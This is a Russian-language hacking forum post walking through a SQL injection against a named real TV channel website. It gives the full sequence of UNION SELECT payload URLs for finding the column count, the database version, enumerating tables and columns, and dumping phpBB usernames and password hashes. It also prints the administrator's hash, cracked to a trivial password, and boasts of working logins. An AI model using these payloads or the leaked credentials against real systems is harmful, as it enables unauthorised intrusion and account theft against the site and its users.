Форум АНТИЧАТ - Fox Reality

Кто не знает - это ТВ канал такой, пиндосовский

Цитата:

http://www.foxreality.com/show.php?id=-22+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,1 5,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31, 32,33/*

Узнаём версию

Цитата:

http://www.foxreality.com/show.php?id=-22+union+select+1,version(),3,4,5,6,7,8,9,10,11,12 ,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,2 9,30,31,32,33/*

5.0.27-log
Собственно

Цитата:

http://www.foxreality.com/show.php?id=-22+union+select+1,concat(table_schema,char(58),tab le_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18, 19,20,21,22,23,24,25,26,27,28,29,30,31,32,33+from+ information_schema.tables/*

Цитата:

http://www.foxreality.com/show.php?id=-22+union+select+1,column_name,3,4,5,6,7,8,9,10,11, 12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 ,29,30,31,32,33+from+information_schema.columns+wh ere+table_name=char(112,104,112,98,98,95,117,115,1 01,114,115)+and+table_schema=char(102,111,120,114, 101,97,108,105,116,121,95,112,104,112,98,98)+limit +14,1/*

Цитата:

http://www.foxreality.com/show.php?id=-22+union+select+1,concat_ws(char(58),username,user _password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,1 8,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33+fro m+foxreality_phpbb.phpbb_users+limit+1,1/*

foxreality_blog:T_users
foxreality_frcadmindev:mos_users
foxreality_phpbb:phpbb_users
Вобщем то таблиц всего 419 :)

Получил 3 разынх хэша админа
admin:81dc9bdb52d04dc20036dbd8313ed055 - MD5 от форума
admin:1234 - гениальный пароль =)

Можно на хоум паге залогинится, админки не нашёл пока что

ЗЫ Constantine привет)
_Pantera_ не удаляй топ, ибо на таких же провах живёт соседний
Забыл сказть что PR=6